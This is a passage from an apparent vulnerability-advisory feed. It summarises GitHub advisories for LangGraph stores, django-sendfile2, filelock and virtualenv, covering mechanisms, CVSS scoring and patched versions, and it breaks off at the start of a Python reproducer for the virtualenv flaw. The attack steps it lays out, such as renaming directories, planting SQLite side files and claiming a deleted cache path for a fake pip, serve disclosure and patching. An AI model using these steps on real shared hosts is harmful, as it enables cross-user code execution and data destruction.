to the namespace whose labels it spells out: CVSS 6.0 (version 4.0; evidence as of Oct 25, 2026; https://github.com/advisories/GHSA-6hmw-9432-67qq). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115883&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-6hmw-9432-67qq: https://github.com/advisories/GHSA-6hmw-9432-67qq GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115883&date=2026-10-25 ### Summary The Postgres and SQLite stores save a namespace as its labels joined with `.`, so `("tenant", "bob")` and `("tenant.bob",)` map to the same stored namespace. `put` rejected labels containing `.`, but `get`, `search`, `delete`, `list_namespaces`, their async versions, and ops passed directly to `batch`/`abatch` did not. A caller that could pass such a label could read, overwrite or delete items in another namespace. ### Details `BaseStore` checked namespace labels only in `put`/`aput`. The other methods passed the namespace on unchecked, and `batch`/`abatch` checked nothing, including the `PutOp` items inside them. `PostgresStore`, `AsyncPostgresStore`, `SqliteStore` and `AsyncSqliteStore` turn a namespace into text with `".".join(namespace)`, so a label containing `.` resolved to the namespace whose labels it spells out: - `get(("tenant.bob",), key)`, `search(("tenant.bob",))` and `list_namespaces(prefix=("tenant.bob",))` returned data stored under `("tenant", "bob")`. - `delete(("tenant.alice",), key)` deleted the item stored under `("tenant", "alice")`. - `batch([PutOp(("tenant.bob",), key, value)])` overwrote the item stored under `("tenant", "bob")`. All releases of `langgraph-checkpoint-postgres` before 3.1.3 and `langgraph-checkpoint-sqlite` before 3.1.2 are affected. `InMemoryStore` compares namespaces as tuples and is not affected. ### Impact You may be affected if you use one of these stores, rely on namespaces to keep users or tenants apart, and let untrusted input choose a namespace label that reaches a read, delete or `batch` call. Such input could read, overwrite or delete another tenant's items. Labels written through `put` could never contain `.`, so no stored data becomes unreachable after upgrading. LangSmith Deployment: the HTTP store API already rejected such labels, but store calls made from graph code reached the same flaw. The Agent Server rejects these labels from versions 0.15.5 and 0.16.2. On LangSmith Cloud, new deployments and revisions already include the fix and existing deployments get it on their next revision; self-hosted deployments should upgrade. ### Remediation Upgrade to `langgraph-checkpoint-postgres` 3.1.3 or `langgraph-checkpoint-sqlite` 3.1.2. Both require `langgraph-checkpoint` 4.3.0, where `get`, `search`, `delete` and `list_namespaces` reject labels that are empty, are not strings, or contain `.` with `InvalidNamespaceError`, and the Postgres and SQLite stores apply the same check to every op passed to `batch`/`abatch`. Stores outside this repository that turn namespaces into delimited text can call `langgraph.store.base.validate_op_namespace` for each op they run. Affected package ranges reported by GitHub: langgraph-checkpoint-postgres: < 3.1.3 langgraph-checkpoint-sqlite: < 3.1.2 Action: GitHub lists first patched versions: langgraph-checkpoint-postgres: 3.1.3; langgraph-checkpoint-sqlite: 3.1.2. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Directory traversal outside of SENDFILE_ROOT in django-sendfile2 https://kevwire.com/record/GHSA-6r3c-8xf3-ggrr Directory traversal outside of SENDFILE_ROOT in django-sendfile2 (Jun 24, 2020). django-sendfile2 currently relies on the backend to correctly limit file paths to `SENDFILE_ROOT`. This is not the case for the `simple` and `development` backends, it is also not necessarily the case for any of the other backends either (it's just an assumption that was made by the original author). This will be fixed in 0.6.0 which is to be released the same day as this advisory is made public. Sources: GitHub-reviewed advisory GHSA-6r3c-8xf3-ggrr: https://github.com/advisories/GHSA-6r3c-8xf3-ggrr GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc django-sendfile2 currently relies on the backend to correctly limit file paths to `SENDFILE_ROOT`. This is not the case for the `simple` and `development` backends, it is also not necessarily the case for any of the other backends either (it's just an assumption that was made by the original author). This will be fixed in 0.6.0 which is to be released the same day as this advisory is made public. When upgrading, you will need to make sure `SENDFILE_ROOT` is set in your settings module if it wasn't already. Affected package ranges reported by GitHub: django-sendfile2: < 0.6.0 Action: GitHub lists first patched versions: django-sendfile2: 0.6.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### django-sendfile2 before 0.7.0 contains reflected file download vulnerability https://kevwire.com/record/GHSA-pcjh-6r5h-r92r django-sendfile2 before 0.7.0 contains reflected file download vulnerability (Aug 11, 2022). Similar to CVE-2022-36359 for Django, django-sendfile2 did not protect against a reflected file download attack in version 0.6.1 and earlier. If the file name used by django-sendfile2 was derived from user input, then it would be possible to perform a such an attack. A new version of django-sendfile2 will be released. Either download django-sendfile2 0.7.0 as a workaround or sanitize user input yourself, using Django's patch as a template: https://github.com/django/django/commit/bd062445cffd3f6cc6dcd20d13e2abed818fa173 Sources: GitHub-reviewed advisory GHSA-pcjh-6r5h-r92r: https://github.com/advisories/GHSA-pcjh-6r5h-r92r GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc Similar to CVE-2022-36359 for Django, django-sendfile2 did not protect against a reflected file download attack in version 0.6.1 and earlier. If the file name used by django-sendfile2 was derived from user input, then it would be possible to perform a such an attack. A new version of django-sendfile2 will be released. Either download django-sendfile2 0.7.0 as a workaround or sanitize user input yourself, using Django's patch as a template: https://github.com/django/django/commit/bd062445cffd3f6cc6dcd20d13e2abed818fa173 Affected package ranges reported by GitHub: django-sendfile2: < 0.7.0 Action: GitHub lists first patched versions: django-sendfile2: 0.7.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### filelock: ReadWriteLock on the hard-link route deletes any directory another user renames onto its .filelock-* link directory name https://kevwire.com/record/CVE-2026-112937 filelock: ReadWriteLock on the hard-link route deletes any directory another user renames onto its .filelock-* link directory name (Oct 23, 2026). `ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) remove their private `.filelock-*` link directories with `shutil.rmtree` (a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable `/proc/self/fd` (a Linux path that names the process's own open files), such as a chroot or container that does not mount `/proc`. Another local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with `/proc` mounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0. CVSS 6.1 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-jqc4-5cvw-7w85). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112937&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-jqc4-5cvw-7w85: https://github.com/advisories/GHSA-jqc4-5cvw-7w85 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112937&date=2026-10-25 `ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) remove their private `.filelock-*` link directories with `shutil.rmtree` (a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable `/proc/self/fd` (a Linux path that names the process's own open files), such as a chroot or container that does not mount `/proc`. Another local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with `/proc` mounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0. Anthropic's OSS Scanner reported this in private as `ANT-2026-LSSZIUEO` [high, CWE-367]: ReadWriteLock deletes any directory another user renames to .filelock-*. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` scores 6.1 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): two `rename` calls and no race against filelock's own code. `I:H` (high integrity impact): the other user destroys a directory tree owned by the lock user, and the lock user's program reports no error. `A:L` (partial availability loss): the Python 3.11 `RecursionError` variant makes the lock user's first lock construction fail. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges. Classification from the external review: **conditional security**, a cross-user rename in a non-sticky shared parent that turns private-link cleanup into recursive deletion of the lock user's tree. The scanner rated it high. The review accepts the mechanism, notes that the macOS route rests on a Linux run with `/proc` hidden rather than on a run on macOS, and narrows the finding to that precondition and route. ## Scope and preconditions - The other party is a different local account with write permission on the directory that holds the lock database, where that directory has no sticky bit. That is a `0777` directory, or a group-writable one (in a setgid `2775` directory a group member can rename the lock user's sub-directory the same way). Renaming an entry needs write permission on the parent only, not on the entry. Anyone who can write the parent can rename a `0700` directory of the lock user. - Sticky directories (`/tmp` itself, any `1777` directory) stop the release variant: the rename of an entry owned by the lock user fails with `EPERM`. The dead-owner sweep still reaches a lock user's tree that sits inside a directory the other account owns there. That account may rename its own directory to a forged dead-owner name, and the lock user's sweep deletes everything inside it. The Python 3.11 `RecursionError` variant also works in a sticky directory. - Platform and route. The lock user must connect through the private hard link. That is every `ReadWriteLock` or `AsyncReadWriteLock` on macOS (since 4.1.1, #820), or a POSIX process whose `/proc/self/fd/ ` (`/dev/fd/ ` elsewhere) does not exist, such as a chroot or container without `/proc`. Linux with `/proc` mounted connects through the descriptor and creates no `.filelock-*` directory (checked: none appears, also with two holders in one process), so stock Linux is not affected at 4.2.0. The macOS statement rests on the `descriptor_usable` branch at line 984 and `docs/how-to.rst`. The reproducer runs the same Python code on Linux with `/proc` hidden, which takes root and is test scaffolding, not a step the other user performs. Windows does not take this route. - Target set. Only directories that sit in the shared parent itself, or that the other account can already write, are reachable. The kernel refuses to move a `0700` directory of the lock user in from another parent. A tree the other account can already write (a group-writable project tree created with umask `002`) is no gain, since that account can delete it without filelock. A lock user running as root deletes a tree of any owner. - Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. ## Affected code At the scanned commit `b831496b0273`: [`_ForkSafeConnection.close` runs `shutil.rmtree` on the remembered `mkdtemp` path](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L290-L296). The path comes from [`retain_until_close`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L305-L307), set on the [link route in `_connect_through_descriptor`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984-L1011), where [`descriptor_usable` is `False` on macOS](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L984). Three more `rmtree` sites sit in [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029) (lines 1023 and 1026) and the connect's `finally` (line 1011). T Affected package ranges reported by GitHub: filelock: >= 4.1.0, <= 4.2.0 Action: GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### filelock: ReadWriteLock on Windows acts on SQLite side files another local user places beside its database https://kevwire.com/record/CVE-2026-112913 filelock: ReadWriteLock on Windows acts on SQLite side files another local user places beside its database (Oct 23, 2026). On Windows, `ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) connect SQLite to the lock database by its path, in every directory. SQLite derives three side files from that path: ` -journal`, the rollback journal (pages saved to undo an interrupted write); ` -wal`, the write-ahead log (changes kept outside the main file); and ` -shm`, the shared-memory index of the WAL. SQLite acts on whichever of these it finds beside the database before the lock runs any statement. Another local account that can create files in the database's directory, but not delete files of other accounts there, places such a side file beside the database and denies everyone `DELETE` on it, which a file's creator may do. `C:\Windows\Temp` (the temporary directory of services, granting `BUILTIN\Users` create but not delete) and `C:\Users\Public` are such directories. With a `-wal` in place, every `read_lock()` and `write_lock()` of the user running the lock (below: the lock user) raises `sqlite3.OperationalError: disk I/O error` at once, whatever `timeout` says, until that account removes its file; the lock user cannot. With a `-journal` beside a lock database that holds a table, SQLite replays the journal and deletes the file the journal names, a file of the lock user, and the acquire reports success. Affected versions are filelock 3.20.4 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the POSIX form of the defect, GHSA-v4x8-3wr5-3wq8, whose text says "Windows does not take this path" (review round 4, finding F2 of set D). It is not among the findings of the report Anthropic's OSS Scanner sent on 15 October 2026. CVSS 3.3 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-9vhv-jxww-xfm5). Sources: GitHub-reviewed advisory GHSA-9vhv-jxww-xfm5: https://github.com/advisories/GHSA-9vhv-jxww-xfm5 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc On Windows, `ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) connect SQLite to the lock database by its path, in every directory. SQLite derives three side files from that path: ` -journal`, the rollback journal (pages saved to undo an interrupted write); ` -wal`, the write-ahead log (changes kept outside the main file); and ` -shm`, the shared-memory index of the WAL. SQLite acts on whichever of these it finds beside the database before the lock runs any statement. Another local account that can create files in the database's directory, but not delete files of other accounts there, places such a side file beside the database and denies everyone `DELETE` on it, which a file's creator may do. `C:\Windows\Temp` (the temporary directory of services, granting `BUILTIN\Users` create but not delete) and `C:\Users\Public` are such directories. With a `-wal` in place, every `read_lock()` and `write_lock()` of the user running the lock (below: the lock user) raises `sqlite3.OperationalError: disk I/O error` at once, whatever `timeout` says, until that account removes its file; the lock user cannot. With a `-journal` beside a lock database that holds a table, SQLite replays the journal and deletes the file the journal names, a file of the lock user, and the acquire reports success. Affected versions are filelock 3.20.4 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the POSIX form of the defect, GHSA-v4x8-3wr5-3wq8, whose text says "Windows does not take this path" (review round 4, finding F2 of set D). It is not among the findings of the report Anthropic's OSS Scanner sent on 15 October 2026. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L` scores 3.3 (Low).** `AV:L` (local): the other account needs a logon on the same host. `AC:L` (low attack complexity): create one file beside the database and set its ACL (access control list); no race, and the other account can place the file days earlier. `PR:L` (low privileges): an ordinary account that can create files in the directory is enough. `UI:N` (no user interaction). `S:U` (scope unchanged). `C:N` (no confidentiality impact): the other account learns nothing. `I:N` (no integrity impact in the scored variant): see the scoring note. `A:L` (partial availability impact): every acquire fails with an exception that `Timeout` handlers do not catch, until the other account removes its file; no crash, and the lock's own data is not changed. Scoring note. The deletion variant reads `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L` (3.6): `I:L` because the lock user's process deletes one file the journal names, `AC:H` because it needs a lock database that holds a table, which filelock does not create, and a journal the lock user can open for writing. The lower-reading rule of this advisory set scores the variant that reaches every `ReadWriteLock` on Windows in such a directory, 3.3, and describes the deletion variant under Mechanism. Classification from the review: **security** (another account), availability for the scored variant. ## Scope and preconditions - Platform and classes: Windows only. `ReadWriteLock` and `AsyncReadWriteLock`, both of which connect through `_connect`. On Linux and macOS the lock takes other routes, covered by GHSA-v4x8-3wr5-3wq8. - Directory: one where another account can create files but cannot delete the lock user's. `C:\Windows\Temp` carries `BUILTIN\Users:(CI)(S,WD,AD,X)` (create file and create subdirectory, no delete child); `C:\Users\Public` and any directory with such an entry qualify. A directory only the lock user can write, such as `%LOCALAPPDATA%` or the per-user temporary directory, is not affected. - The other account creates ` -wal`, grants everyone modify and denies everyone `DELETE` on it. A file's creator may set both. The lock user can open and read the file but not delete it. - Deletion variant: the lock database holds at least one table (filelock creates an empty database, and the review's reproducer has the lock account create the table), and the other account's ` -journal` grants the lock account modify rights. The journal's tail names a file the lock user can delete. - What the lock user sees: `write_lock(timeout=1)` raised `sqlite3.OperationalError: disk I/O error` with the undeletable `-wal` in place; with the writable journal the acquire succeeded and the named file was gone; with an undeletable journal every acquire raised `sqlite3.OperationalError: unable to open database file`. - The documentation at the scanned commit states "the lock directory must not be writable by untrusted users" for `WindowsFileLock`, in its symlink paragraph; the `ReadWriteLock` documentation names no directory requirement on Windows. ## Affected code Scanned commit `b831496b0273`: the [Windows branch of `_connect`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L951-L965) checks the database through a handle and then calls `sqlite3.connect(database, ...)` with the path. [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) inspect that handle, not the side files. The first statement is [`PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;` at L816](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L816). [`_do_acquire_inner` at L763](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L763) turns only `"database is locked"` into `Timeout`; any other `sqlite3.OperationalError` leaves the acquire. ## Introduced [cfd4446](https://github.com/tox-dev/filelock/commit/cfd4446) "feat(lock): add SQLite-based ReadWriteLock" ([#399](h Affected package ranges reported by GitHub: filelock: >= 3.20.4, <= 4.2.0 Action: GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### filelock: On Windows an oplock on a soft lock's marker holds SoftFileLock.acquire() past its timeout and blocks the stale break https://kevwire.com/record/CVE-2026-112907 filelock: On Windows an oplock on a soft lock's marker holds SoftFileLock.acquire() past its timeout and blocks the stale break (Oct 23, 2026). On Windows the soft locks (`SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async forms, and a `FileLock` that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each `acquire()` attempt that finds a marker opens it with `os.open` to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle. Another local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every `acquire()` by the user running the lock (below: the lock user) then waits inside the open, past its `timeout`, `blocking=False` and `cancel_check`, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings. CVSS 2.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-567q-5qvw-pf92). Sources: GitHub-reviewed advisory GHSA-567q-5qvw-pf92: https://github.com/advisories/GHSA-567q-5qvw-pf92 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc On Windows the soft locks (`SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async forms, and a `FileLock` that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each `acquire()` attempt that finds a marker opens it with `os.open` to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle. Another local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every `acquire()` by the user running the lock (below: the lock user) then waits inside the open, past its `timeout`, `blocking=False` and `cancel_check`, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L` scores 2.5 (Low).** `AV:L` (local): the other account needs a logon on the same host. `AC:H` (high attack complexity): Windows grants a Level 1 or batch oplock only to the sole open handle on a file, so the marker must have no holder handle when the other account asks. That account cannot bring this about; it waits for a holder that died, closed its descriptor, or left a marker past its `lifetime`. `PR:L` (low privileges): an ordinary account with read access to the marker through the directory's inherited ACL (access control list). `UI:N` (no user interaction). `S:U` (scope unchanged). `C:N` and `I:N`: that account can read the marker's content (process id and host name) anyway, and mutual exclusion holds. `A:L` (partial availability impact): one thread, or the event loop with `run_in_executor=False`, waits until the holder answers; 10 s per attempt in the two-account runs, no crash. Metrics in doubt take the lower reading. Classification from the review: **security, conditional** on an unheld marker that another account can open. ## Scope and preconditions - Platform and classes: Windows only. `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, `AsyncSoftFileLock` and the other async soft locks, and `FileLock` after its `ENOSYS` fallback to a soft lock. `WindowsFileLock` opens its lock file on a separate code path that this advisory does not cover. - Marker access: the soft locks create the marker with `os.open`, which on Windows applies no more of `mode` than the read-only attribute (GHSA-8mx5-7m5m-r77g). The marker carries the lock directory's inheritable entries. Another account that those entries grant read access to new files can open the marker with a read handle that shares read, write and delete. - Unheld marker: no handle may be open on the marker when the other account requests the oplock. That is a holder that died and left its marker, a holder that closed its descriptor, or a marker whose `lifetime` has passed. While the holder keeps its handle, the request fails. - Holder behavior: the other account requests the oplock through an overlapped `DeviceIoControl` and never acknowledges the break. Windows cancels a thread's pending request when the thread exits, so the holder thread stays alive. A same-account process that answers slowly, such as an indexer, has the same effect for its answer time. - What the lock user sees: `SoftFileLock.acquire(timeout=1)` returned `Timeout` after 10.02 s with the second account's handle. In the same-account probe `os.open` with `O_RDONLY` was still running after 15 s and returned once the holder closed. The retry loop consults `timeout`, `blocking=False` and `cancel_check` between attempts only. With `AsyncSoftFileLock(run_in_executor=False)` the event loop waits. - Stale break: `break_lock_file` renames and unlinks by path. Both calls wait in the same way, so a stale marker under such an oplock stays, and no process acquires the lock until the holder closes. - Not affected: mutual exclusion, and the lock reads, writes and deletes no file other than the marker. ## Affected code Scanned commit `b831496b0273`: the [`os.open` in `_read_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L323) ([function](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L312-L335)), called from [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123) on every attempt that finds a marker, and from [`_unprobeable_holder`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L137), [`pid`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L164) and [`is_lock_held_by_us`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L179). [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L84-L122) renames at L116 and unlinks at L118 and L122, by path. [`_poll_until_acquired`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1378-L1408) and [`_check_give_up`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1590-L1608) test the deadline, `blocking` and `cancel_check` only between attempts. ## Introduced [e35 Affected package ranges reported by GitHub: filelock: >= 3.22.0, <= 4.2.0 Action: GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### virtualenv: Temporary app-data can leave dangling seed package links https://kevwire.com/record/CVE-2026-113713 virtualenv: Temporary app-data can leave dangling seed package links (Oct 23, 2026). The app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation finishes. The environment-variable and configuration-file forms of `symlink_app_data` can enable this state even though the command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its owner no longer controls. Anthropic's OSS Scanner reported this as `ANT-2026-ZOE2GEPC` in `virtualenv-20261015-005`, received on 15 October 2026. This draft records source review and functional remediation checks. The reporter's cross-account code-execution claim has not been independently reproduced. CVSS 4.4 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-4f8h-vr72-p32c). EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113713&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-4f8h-vr72-p32c: https://github.com/advisories/GHSA-4f8h-vr72-p32c GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113713&date=2026-10-25 ## Summary The app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation finishes. The environment-variable and configuration-file forms of `symlink_app_data` can enable this state even though the command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its owner no longer controls. Anthropic's OSS Scanner reported this as `ANT-2026-ZOE2GEPC` in `virtualenv-20261015-005`, received on 15 October 2026. This draft records source review and functional remediation checks. The reporter's cross-account code-execution claim has not been independently reproduced. ## Affected area Integrity of app-data references after temporary cache cleanup. ## Attacker-controlled input Symlink seeding must be enabled through `VIRTUALENV_SYMLINK_APP_DATA` or `symlink_app_data` in the configuration file, and app-data setup must fall back to a temporary directory. A missing or unwritable configured cache can cause that fallback. Ordinary copy seeding does not leave these references. The security concern requires a shared temporary-directory parent where another account can acquire the deleted cache pathname, followed by use of the affected environment. That account need not already be able to modify the environment or the private cache while it exists. This differs from the security policy's excluded case of an account that already controls live app-data contents. On a platform with a temporary-directory parent private to the environment owner, that cross-account condition is absent. Windows functional checks do not establish cross-account exposure under Windows defaults. ## Affected code The relevant 21.14.8 source is in [symlink seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/via_app_data.py), [temporary cache cleanup](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/app_data/via_tempdir.py). ## Mechanism When app-data setup falls back to a temporary directory, the command-line `--symlink-app-data` action is disabled. A value supplied by `VIRTUALENV_SYMLINK_APP_DATA` or `virtualenv.ini` can still become the parser default, and the seeder constructor accepts that value without rechecking the cache lifetime. It links `site-packages/pip` into the temporary cache. Session cleanup deletes that cache, leaving a dangling link whose pathname can later be claimed by another account on a shared temporary filesystem. ## Reproduction and evidence The scanner ran its reproduction as two unprivileged users, with root used only to switch identities. The environment owner had an unwritable home, so app-data fell back to `/tmp`. The control used the command-line flag and received a real pip directory. With `VIRTUALENV_SYMLINK_APP_DATA=1`, the new environment instead contained a `pip` link into a deleted `/tmp/tmpXXXXXXXX` directory. A second uid recreated the target path and placed a fake `pip/__init__.py` there. When the owner ran `venv/bin/pip --version`, that module created a marker inside the owner's environment and printed `this is not pip`. The cross-account path requires a shared temporary parent, a second account able to claim the deleted name, and later use of the environment. A private temporary parent removes that route. The report traces the incomplete temporary-cache guard to #1661, first released in 20.0.6. [Public fix PR #3437](https://github.com/pypa/virtualenv/pull/3437) copies packages whenever app-data is temporary, whatever supplied the symlink option. The implementation review checked the remediation; it did not rerun the cross-account reproduction. ## Attack sequence ```mermaid sequenceDiagram participant U as Environment owner participant V as virtualenv seeder participant T as Temporary app-data in /tmp participant E as site-packages/pip link participant A as Other local account U->>V: VIRTUALENV_SYMLINK_APP_DATA=1 with unwritable home V->>T: create transient cache V->>E: link pip to cache path V->>T: delete cache at session exit A->>T: reclaim old name and plant fake pip U->>E: run bin/pip --version E->>T: import fake pip through stale link T-->>U: attacker's code runs as owner ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-ZOE2GEPC`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import pwd import shutil import subprocess from pathlib import Path owner = pwd.getpwnam("nobody") # home is /nonexistent: app-data cannot be created, so virtualenv uses a temporary one other_user_uid = 4242 project = Path("/srv/project") other_user_files = Path("/var/tmp/other-user") # set up: a project folder only the owner can write, and the other user's two files in a folder of their own shutil.rmtree(project, ignore_errors=True) shutil.rmtree(other_user_files, ignore_errors=True) project.mkdir(mode=0o755) os.chown(project, owner.pw_uid, owner.pw_gid) shutil.copytree("/tmp/repro.d", other_user_files) subprocess.run(["chown", "-R", f"{other_user_uid}:{other_user_uid}", other_user_files], check=True) as_owner = {"user": owner.pw_uid, "group": owner.pw_gid, "extra_groups": [], "cwd": project} 